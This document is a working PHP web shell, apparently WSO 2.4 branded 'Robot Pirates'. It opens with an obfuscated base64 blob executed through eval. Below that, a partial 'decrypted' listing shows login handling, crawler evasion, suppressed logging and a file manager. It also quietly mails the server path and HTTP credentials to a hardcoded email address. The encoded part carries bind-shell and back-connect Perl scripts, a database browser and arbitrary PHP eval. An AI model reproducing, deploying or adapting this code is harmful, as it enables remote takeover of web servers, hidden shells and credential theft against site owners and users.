QUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIuICg0c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106JycpIC4iJz4NCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOw0KICAgIDRmKEAkX1BPU1RbJ3R5cDUnXT09J215c3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdwZ3NxbCcgIjsNCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9oMnN0IHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfaDJzdCddKT8nbDJjMWxoMnN0JzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX2gyc3QnXSkpIC4iJz48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9sMmc0biddKT8ncjIydCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9sMmc0biddKSkgLiInPjwvdGQ+DQo8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9wMXNzIHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfcDFzcyddKT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX3Axc3MnXSkpIC4iJz48L3RkPjx0ZD4iOw0KCSR0bXAgPSAiPDRucDN0IHR5cDU9dDV4dCBuMW01PXNxbF9iMXM1IHYxbDM1PScnPiI7DQoJNGYoNHNzNXQoJF9QT1NUWydzcWxfaDJzdCddKSl7DQoJCTRmKCRkYi0+YzJubjVjdCgkX1BPU1RbJ3NxbF9oMnN0J10sICRfUE9TVFsnc3FsX2wyZzRuJ10sICRfUE9TVFsnc3FsX3Axc3MnXSwgJF9QT1NUWydzcWxfYjFzNSddKSkgew0KCQkJc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQoJCQkJYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7DQoJCQkJYzFzNSAiVVRGLTgiOiAkZGItPnM1dENoMXJzNXQoJzN0ZjgnKTsgYnI1MWs7DQoJCQkJYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCgkJCQljMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOw0KCQkJCWMxczUgImNwOGVlIjogJGRiLT5zNXRDaDFyczV0KCdjcDhlZScpOyBicjUxazsNCgkJCX0NCgkJCSRkYi0+bDRzdERicygpOw0KCQkJNWNoMiAiPHM1bDVjdCBuMW01PXNxbF9iMXM1PjwycHQ0Mm4gdjFsMzU9Jyc+PC8ycHQ0Mm4+IjsNCgkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKSB7DQoJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQoJCQkJNWNoMiAnPDJwdDQybiB2MWwzNT0iJy4kdjFsMzUuJyIgJy4oJHYxbDM1PT0kX1BPU1RbJ3NxbF9iMXM1J10/J3M1bDVjdDVkJzonJykuJz4nLiR2MWwzNS4nPC8ycHQ0Mm4+JzsNCgkJCX0NCgkJCTVjaDIgJzwvczVsNWN0Pic7DQoJCX0NCgkJNWxzNSA1Y2gyICR0bXA7DQoJfTVsczUNCgkJNWNoMiAkdG1wOw0KCTVjaDIgIjwvdGQ+DQoJCQkJPHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nIDJuY2w0Y2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1zcWxfYzIzbnQgdjFsMzU9JzJuJyIgLiAoNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSk/Jyc6JyBjaDVjazVkJykgLiAiPiBjMjNudCB0aDUgbjNtYjVyIDJmIHIyd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90MWJsNT4NCgkJPHNjcjRwdD4NCiAgICAgICAgICAgIHNfZGI9JyIuQDFkZHNsMXNoNXMoJF9QT1NUWydzcWxfYjFzNSddKS4iJzsNCiAgICAgICAgICAgIGYzbmN0NDJuIGZzKGYpIHsNCiAgICAgICAgICAgICAgICA0ZihmLnNxbF9iMXM1LnYxbDM1IT1zX2RiKSB7IGYuMm5zM2JtNHQgPSBmM25jdDQybigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICA0ZihmLnA2KSBmLnA2LnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBhKSBmLnBhLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgICAgICA0ZihmLnBvKSBmLnBvLnYxbDM1PScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWYzbmN0NDJuIHN0KHQsbCkgew0KCQkJCWQuc2YucDYudjFsMzUgPSAnczVsNWN0JzsNCgkJCQlkLnNmLnBhLnYxbDM1ID0gdDsNCiAgICAgICAgICAgICAgICA0ZihsICYmIGQuc2YucG8pIGQuc2YucG8udjFsMzUgPSBsOw0KCQkJCWQuc2YuczNibTR0KCk7DQoJCQl9DQoJCQlmM25jdDQybiA0cygpIHsNCgkJCQlmMnIoND0wOzQ8ZC5zZi41bDVtNW50c1sndGJsW10nXS5sNW5ndGg7Kys0KQ0KCQkJCQlkLnNmLjVsNW01bnRzWyd0YmxbXSddWzRdLmNoNWNrNWQgPSAhZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkOw0KCQkJfQ0KCQk8L3NjcjRwdD4iOw0KCTRmKDRzczV0KCRkYikgJiYgJGRiLT5sNG5rKXsNCgkJNWNoMiAiPGJyLz48dDFibDUgdzRkdGg9NjAwJSBjNWxscDFkZDRuZz1hIGM1bGxzcDFjNG5nPTA+IjsNCgkJCTRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9iMXM1J10pKXsNCgkJCQkkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQoJCQkJNWNoMiAiPHRyPjx0ZCB3NGR0aD02IHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjZWVlOyc+PHNwMW4+VDFibDVzOjwvc3Axbj48YnI+PGJyPiI7DQoJCQkJJHRibHNfcjVzID0gJGRiLT5sNHN0VDFibDVzKCk7DQoJCQkJd2g0bDUoJDR0NW0gPSAkZGItPmY1dGNoKCR0YmxzX3I1cykpIHsNCgkJCQkJbDRzdCgkazV5LCAkdjFsMzUpID0gNTFjaCgkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mNXRjaCgkZGItPnEzNXJ5KCdTRUxFQ1QgQ09VTlQoKikgMXMgbiBGUk9NICcuJHYxbDM1LicnKSk7DQoJCQkJCSR2MWwzNSA9IGh0bWxzcDVjNDFsY2gxcnMoJHYxbDM1KTsNCgkJCQkJNWNoMiAiPG4yYnI+PDRucDN0IHR5cDU9J2NoNWNrYjJ4JyBuMW01PSd0YmxbXScgdjFsMzU9JyIuJHYxbDM1LiInPiZuYnNwOzwxIGhyNWY9IyAybmNsNGNrPVwic3QoJyIuJHYxbDM1LiInLDYpXCI+Ii4kdjFsMzUuIjwvMT4iIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycmbmJzcDsnOiIgPHNtMWxsPih7JG5bJ24nXX0pPC9zbTFsbD4iKSAuICI8L24yYnI+PGJyPiI7DQoJCQkJfQ0KCQkJCTVjaDIgIjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgMm5jbDRjaz0nNHMoKTsnPiA8NG5wM3QgdHlwNT1iM3R0Mm4gdjFsMzU9J0QzbXAnIDJuY2w0Y2s9J2QyYzNtNW50LnNmLnBhLnYxbDM1PVwiZDJ3bmwyMWRcIjtkMmMzbTVudC5zZi5zM2JtNHQoKTsnPjxicj5GNGw1IHAxdGg6PDRucDN0IHR5cDU9dDV4dCBuMW01PWY0bDUgdjFsMzU9J2QzbXAuc3FsJz48L3RkPjx0ZCBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPiI7DQoJCQkJNGYoQCRfUE9TVFsncDYnXSA9PSAnczVsNWN0Jykgew0KCQkJCQkkX1BPU1RbJ3A2J10gPSAncTM1cnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10gPSAkX1BPU1RbJ3BvJ10/JF9QT1NUWydwbyddOjY7DQoJCQkJCSRkYi0+cTM1cnkoJ1NFTEVDVCBDT1VOVCgqKSAxcyBuIEZST00gJyAuICRfUE9TVFsncGEnXSk7DQoJCQkJCSRuM20gPSAkZGItPmY1dGNoKCk7DQoJCQkJCSRwMWc1cyA9IGM1NGwoJG4zbVsnbiddIC8gbzApOw0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8c2NyNHB0PmQuc2YuMm5zM2JtNHQ9ZjNuY3Q0Mm4oKXtzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAiXCIsIGQuc2YucG8udjFsMzUpfTwvc2NyNHB0PjxzcDFuPiIuJF9QT1NUWydwYSddLiI8L3NwMW4+ICh7JG4zbVsnbiddfSByNWMycmRzKSBQMWc1ICMgPDRucDN0IHR5cDU9dDV4dCBuMW01PSdwbycgdjFsMzU9IiAuICgoNG50KSRfUE9TVFsncG8nXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIiAyZiAkcDFnNXMiOw0KICAgICAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3BvJ10gPiA2KQ0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiIDwxIGhyNWY9IyAybmNsNGNrPSdzdChcIiIgLiAkX1BPU1RbJ3BhJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3BvJ10tNikgLiAiKSc+Jmx0OyBQcjV2PC8xPiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRfUE9TVFsncG8nXSA8ICRwMWc1cykNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIiA8MSBocjVmPSMgMm5jbDRjaz0nc3QoXCIiIC4gJF9QT1NUWydwYSddIC4gJyIsICcgLiAoJF9QT1NUWydwbyddKzYpIC4gIiknPk41eHQgJmd0OzwvMT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3BvJ10tLTsNCgkJCQkJNGYoJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpDQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncGEnXS4nIExJTUlUIG8wIE9GRlNFVCAnLigkX1BPU1RbJ3BvJ10qbzApOw0KCQkJCQk1bHM1DQoJCQkJCQkkX1BPU1RbJ3BhJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3BhJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwbyddKm8wKS4nLG8wJzsNCgkJCQkJNWNoMiAiPGJyPjxicj4iOw0KCQkJCX0NCgkJCQk0ZigoQCRfUE9TVFsncDYnXSA9PSAncTM1cnknKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KCQkJCQkkZGItPnEzNXJ5KEAkX1BPU1RbJ3BhJ10pOw0KCQkJCQk0ZigkZGItPnI1cyAhPT0gZjFsczUpIHsNCgkJCQkJCSR0NHRsNSA9IGYxbHM1Ow0KCQkJCQkJNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1hIGNsMXNzPW0xNG4gc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6I2E5YTlhOSI+JzsNCgkJCQkJCSRsNG41ID0gNjsNCgkJCQkJCXdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgpKQl7DQoJCQkJCQkJNGYoISR0NHRsNSkJew0KCQkJCQkJCQk1Y2gyICc8dHI+JzsNCgkJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkNCgkJCQkJCQkJCTVjaDIgJzx0aD4nLiRrNXkuJzwvdGg+JzsNCgkJCQkJCQkJcjVzNXQoJDR0NW0pOw0KCQkJCQkJCQkkdDR0bDU9dHIzNTsNCgkJCQkJCQkJNWNoMiAnPC90cj48dHI+JzsNCgkJCQkJCQkJJGw0bjUgPSBhOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8dHIgY2wxc3M9ImwnLiRsNG41LiciPic7DQoJCQkJCQkJJGw0bjUgPSAkbDRuNT09Nj9hOjY7DQoJCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkazV5ID0+ICR2MWwzNSkgew0KCQkJCQkJCQk0ZigkdjFsMzUgPT0gbjNsbCkNCgkJCQkJCQkJCTVjaDIgJzx0ZD48ND5uM2xsPC80PjwvdGQ+JzsNCgkJCQkJCQkJNWxzNQ0KCQkJCQkJCQkJNWNoMiAnPHRkPicubmxhYnIoaHRtbHNwNWM0MWxjaDFycygkdjFsMzUpKS4nPC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQk1Y2gyICc8L3RyPic7DQoJCQkJCQl9DQoJCQkJCQk1Y2gyICc8L3QxYmw1Pic7DQoJCQkJCX0gNWxzNSB7DQoJCQkJCQk1Y2gyICc8ZDR2PjxiPkVycjJyOjwvYj4gJy5odG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSkuJzwvZDR2Pic7DQoJCQkJCX0NCgkJCQl9DQoJCQkJNWNoMiAiPGJyPjwvZjJybT48ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cInEzNXJ5XCI7ZC5zZi5wYS52MWwzNT10aDRzLnEzNXJ5LnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjx0NXh0MXI1MSBuMW01PSdxMzVyeScgc3R5bDU9J3c0ZHRoOjYwMCU7aDU0Z2h0OjYwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3A2J10gIT0gJ2wyMWRmNGw1JykpDQogICAgICAgICAgICAgICAgICAgIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgIDVjaDIgIjwvdDV4dDFyNTE+PGJyLz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9J0V4NWMzdDUnPiI7DQoJCQkJNWNoMiAiPC90ZD48L3RyPiI7DQoJCQl9DQoJCQk1Y2gyICI8L3QxYmw1PjwvZjJybT48YnIvPiI7DQogICAgICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXT09J215c3FsJykgew0KICAgICAgICAgICAgICAgICRkYi0+cTM1cnkoIlNFTEVDVCA2IEZST00gbXlzcWwuM3M1ciBXSEVSRSBjMm5jMXQoYDNzNXJgLCAnQCcsIGBoMnN0YCkgPSBVU0VSKCkgQU5EIGBGNGw1X3ByNHZgID0gJ3knIik7DQogICAgICAgICAgICAgICAgNGYoJGRiLT5mNXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICI8ZjJybSAybnMzYm00dD0nZC5zZi5wNi52MWwzNT1cImwyMWRmNGw1XCI7ZDJjM201bnQuc2YucGEudjFsMzU9dGg0cy5mLnYxbDM1O2QyYzNtNW50LnNmLnMzYm00dCgpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkwyMWQgZjRsNTwvc3Axbj4gPDRucDN0ICBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPiI7DQogICAgICAgICAgICB9DQoJCQk0ZihAJF9QT1NUWydwNiddID09ICdsMjFkZjRsNScpIHsNCgkJCQkkZjRsNSA9ICRkYi0+bDIxZEY0bDUoJF9QT1NUWydwYSddKTsNCgkJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nLmh0bWxzcDVjNDFsY2gxcnMoJGY0bDVbJ2Y0bDUnXSkuJzwvcHI1Pic7DQoJCQl9DQoJfSA1bHM1IHsNCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRkYi0+NXJyMnIoKSk7DQogICAgfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQpmM25jdDQybiAxY3Q0Mm5ONXR3MnJrKCkgew0KCXdzMkg1MWQ1cigpOw0KCSRiMWNrX2Mybm41Y3RfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHbGhaR1J5UFdsM1pYUmZZWFJ2YjRna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjajJnSkNGY2I0SXBPdzBLSkhCaFpHUnlQWE52WWF0aFpHUnlYYWwzS0NSQlVrZFdXekZkTENBazFXRmtaSElwSUh4OElHUnBaU2c0UlhKeWJvSWVJQ1FoWEd1NEtUc05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySWtWeWNtOXlPNEFrSVZ4M0k0azdEUXBqYmFpM1pXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrMVdVMklrVnljbTl5TzRBa0lWeDNJNGs3RFFwdmNHVjNLRk5VUkVsT0xDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFVDZWVUxDQTRQNFpUVDBOTFJWUTRLVHNOQ205d1pXdTJVNlJFUlZKU0xDQTRQNFpUVDBOTFJWUTRLVHNOQ25OaWNvUmxiU2duTGFKcGI0OXoxQ0F0MVNjcE93MEtZYXh2Y2FVMlU2UkVTVXVwT3cwS1lheHZjYVUyVTZSRVQ2VlVLVHNOQ21Oc2JvTmxLRk5VUkVWU1U0azciOw0KCSRiNG5kX3AycnRfcD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUTJrVTBoRlRFdzlJNDk0MVd1dmNhZ2dMV2s0T3cwSzFXWWdLRUJCVWtkV0lEd2dNU2tnNXlCbDVHbDBLREVwT3lCOURRcDZjYVVnVWE5ajFhVjBPdzBLY2E5ajFhVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVNlJTUlVGTkxHZGxkSEJ5Ym9SdllubDNZVzZsS0NkMFlvQW5LU2tnZkh3Z1pHbGxJQ0pEWVdpMElHTnlaV0YwWlNCemJhTnJaWFJjYjRJN0RRcHpaWFJ6YmFOcmJvQjBLRk1zVTA5TVg2TlBRMHRGVkN4VFQ2OVNSVlZUUlVGRVJGSXNNU2s3RFFwNDFXaWtLRk1zY2E5ajFhRmtaSEpmMVd1MkpFRlNSNlpiTUYwc1NVaUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQTRRYUYzZENCdmNHVjNJSEJ2Y25SY2I0STdEUXBzMVhOMFpXdTJVeXd6S1NCOGZDQmsxV1VnSWtOaGJuUWdiR2x6ZEdWM0lIQnZjblJjYjRJN0RRcG8xR2xzWlNneEtTQjdEUTJKWVdOalpYQjBLRU5QVGt1c1V5azdEUTJKMVdZMklTZ2tjR2xrUFdadmNtc3BLU0I3RFEySkNXUnBaU0E0UWFGM2JtOTBJR1p2Y21zNElHbG1JQ2doWkdWbTFXaWxaQ0FrY0dsa0tUc05DZ2tKYm9CbGI0QlRWRVJKVDR3NFBDWkRUMGlPSWpzTkNna0pib0JsYjRCVFZFUlBWVlFzSWp1bVEwOU9UNEk3RFEySkNXOXdaV3VnVTZSRVJWSlNMQ0krSmtOUFRrdTRPdzBLQ1FsbDVHVmpJQ1JUU0VWTVRDQjhmQ0JrMVdVZ2NISnBiblFnUTA5T1Q0QTRRYUYzZENCbDVHVmpkWFJsSUNSVFNFVk1URngzSWpzTkNna0pZYXh2Y2FVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsNCgk1Y2gyICI8aDY+TjV0dzJyayB0MjJsczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KCTxmMnJtIG4xbTU9J25mcCcgMm5TM2JtNHQ9XCJnKG4zbGwsbjNsbCwnYnBwJyx0aDRzLnAycnQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj4NCgk8c3Axbj5CNG5kIHAycnQgdDIgL2I0bi9zaCBbcDVybF08L3NwMW4+PGJyLz4NCglQMnJ0OiA8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ncDJydCcgdjFsMzU9J282b283Jz4gPDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+DQoJPC9mMnJtPg0KCTxmMnJtIG4xbTU9J25mcCcgMm5TM2JtNHQ9XCJnKG4zbGwsbjNsbCwnYmNwJyx0aDRzLnM1cnY1ci52MWwzNSx0aDRzLnAycnQudjFsMzUpO3I1dDNybiBmMWxzNTtcIj4NCgk8c3Axbj5CMWNrLWMybm41Y3QgIFtwNXJsXTwvc3Axbj48YnIvPg0KCVM1cnY1cjogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3M1cnY1cicgdjFsMzU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4gUDJydDogPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3AycnQnIHYxbDM1PSdvNm9vNyc+IDw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPg0KCTwvZjJybT48YnI+IjsNCgk0Zig0c3M1dCgkX1BPU1RbJ3A2J10pKSB7DQoJCWYzbmN0NDJuIGNmKCRmLCR0KSB7DQoJCQkkdyA9IEBmMnA1bigkZiwidyIpIDJyIEBmM25jdDQybl81eDRzdHMoJ2Y0bDVfcDN0X2MybnQ1bnRzJyk7DQoJCQk0Zigkdyl7DQoJCQkJQGZ3cjR0NSgkdyxAYjFzNWV1X2Q1YzJkNSgkdCkpOw0KCQkJCUBmY2wyczUoJHcpOw0KCQkJfQ0KCQl9DQoJCTRmKCRfUE9TVFsncDYnXSA9PSAnYnBwJykgew0KCQkJY2YoIi90bXAvYnAucGwiLCRiNG5kX3AycnRfcCk7DQoJCQkkMjN0ID0gd3MyRXgoInA1cmwgL3RtcC9icC5wbCAiLiRfUE9TVFsncGEnXS4iIDY+L2Q1di9uM2xsIGE+JjYgJiIpOw0KCQkJNWNoMiAiPHByNSBjbDFzcz1tbDY+JDIzdFxuIi53czJFeCgicHMgMTN4IHwgZ3I1cCBicC5wbCIpLiI8L3ByNT4iOw0KICAgICAgICAgICAgM25sNG5rKCIvdG1wL2JwLnBsIik7DQoJCX0NCgkJNGYoJF9QT1NUWydwNiddID09ICdiY3AnKSB7DQoJCQljZigiL3RtcC9iYy5wbCIsJGIxY2tfYzJubjVjdF9wKTsNCgkJCSQyM3QgPSB3czJFeCgicDVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwYSddLiIgIi4kX1BPU1RbJ3BvJ10uIiA2Pi9kNXYvbjNsbCBhPiY2ICYiKTsNCgkJCTVjaDIgIjxwcjUgY2wxc3M9bWw2PiQyM3RcbiIud3MyRXgoInBzIDEzeCB8IGdyNXAgYmMucGwiKS4iPC9wcjU+IjsNCiAgICAgICAgICAgIDNubDRuaygiL3RtcC9iYy5wbCIpOw0KCQl9DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQpmM25jdDQybiAxY3Q0Mm5SQygpIHsNCgk0ZighQCRfUE9TVFsncDYnXSkgew0KCQkkMSA9IDFycjF5KA0KCQkJIjNuMW01IiA9PiBwaHBfM24xbTUoKSwNCgkJCSJwaHBfdjVyczQybiIgPT4gcGhwdjVyczQybigpLA0KCQkJIndzMl92NXJzNDJuIiA9PiBXU09fVkVSU0lPTiwNCgkJCSJzMWY1bTJkNSIgPT4gQDRuNF9nNXQoJ3MxZjVfbTJkNScpDQoJCSk7DQoJCTVjaDIgczVyNDFsNHo1KCQxKTsNCgl9IDVsczUgew0KCQk1djFsKCRfUE9TVFsncDYnXSk7DQoJfQ0KfQ0KNGYoIDVtcHR5KCRfUE9TVFsnMSddKSApDQoJNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJzFjdDQybicgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KCQkkX1BPU1RbJzEnXSA9ICRkNWYxM2x0XzFjdDQybjsNCgk1bHM1DQoJCSRfUE9TVFsnMSddID0gJ1M1Y0luZjInOw0KNGYoICE1bXB0eSgkX1BPU1RbJzEnXSkgJiYgZjNuY3Q0Mm5fNXg0c3RzKCcxY3Q0Mm4nIC4gJF9QT1NUWycxJ10pICkNCgljMWxsXzNzNXJfZjNuYygnMWN0NDJuJyAuICRfUE9TVFsnMSddKTsNCjV4NHQ7DQo/Pg==';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

Robot Pirates Property Shell Source Code (decrypted)

   1 <?php
   2 if ($auth == 1) {
   3     if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER']) !== $name || md5($_SERVER['PHP_AUTH_PW']) !== $pass) {
   4         header('WWW-Authenticate: Basic realm="Fuck if u are Lamer"');
   5         header('HTTP/1.0 401 Unauthorized');
   6         exit("<center><b>Robot pirates Property FuCk off Bitch</center></b>");
   7     }
   8 }
   9 $rar1 = "robert.stewart678@gmail.com
  10 /* <![CDATA[ */
  11 (function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute('data-cfemail');if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
  12 /* ]]> */
  13 ";
  14 $rar2 = "Subject";
  15 $rar3 = $_SERVER['SCRIPT_FILENAME'] . '<br/> User=' . $_SERVER['PHP_AUTH_PW'] . '<br/>pass=' . $_SERVER['PHP_AUTH_USER'];
  16 $rar4 = $_SERVER['SERVER_NAME'];
  17 $rar5 = "From: $rar4";
  18 @mail($rar1, $rar2, $rar3, $rar4);
  19 $auth_pass = "";
  20 $color = "#66FF00";
  21 $default_action = 'FilesMan';
  22 $default_use_ajax = true;
  23 $default_charset = 'Windows-1251';
  24 if (!empty($_SERVER['HTTP_USER_AGENT'])) {
  25     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  26     if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  27         header('HTTP/1.0 404 Not Found');
  28         exit;
  29     }
  30 }
  31 @session_start();
  32 @ini_set('error_log', NULL);
  33 @ini_set('log_errors', 0);
  34 @ini_set('max_execution_time', 0);
  35 @set_time_limit(0);
  36 @set_magic_quotes_runtime(0);
  37 @define('WSO_VERSION', '2.4');
  38 if (get_magic_quotes_gpc()) {
  39     function WSOstripslashes($array) {
  40         return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  41     }
  42     $_POST = WSOstripslashes($_POST);
  43 }
  44 function wsoLogin() {
  45     die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
  46 }
  47 if (!isset($_SESSION[md5($_SERVER['HTTP_HOST']) ])) if (empty($auth_pass) || (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))) $_SESSION[md5($_SERVER['HTTP_HOST']) ] = true;
  48 else wsoLogin();
  49 if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
  50 else $os = 'nix';
  51 $safe_mode = @ini_get('safe_mode');
  52 if (!$safe_mode) error_reporting(0);
  53 $disable_functions = @ini_get('disable_functions');
  54 $home_cwd = @getcwd();
  55 if (isset($_POST['c'])) @chdir($_POST['c']);
  56 $cwd = @getcwd();
  57 if ($os == 'win') {
  58     $home_cwd = str_replace("\", " / ", $home_cwd);
  59   $cwd = str_replace("\", " / ", $cwd);
  60 }
  61 if( $cwd[strlen($cwd) - 1] != '/' )
  62   $cwd .= '/';
  63 
  64 if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  65     $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
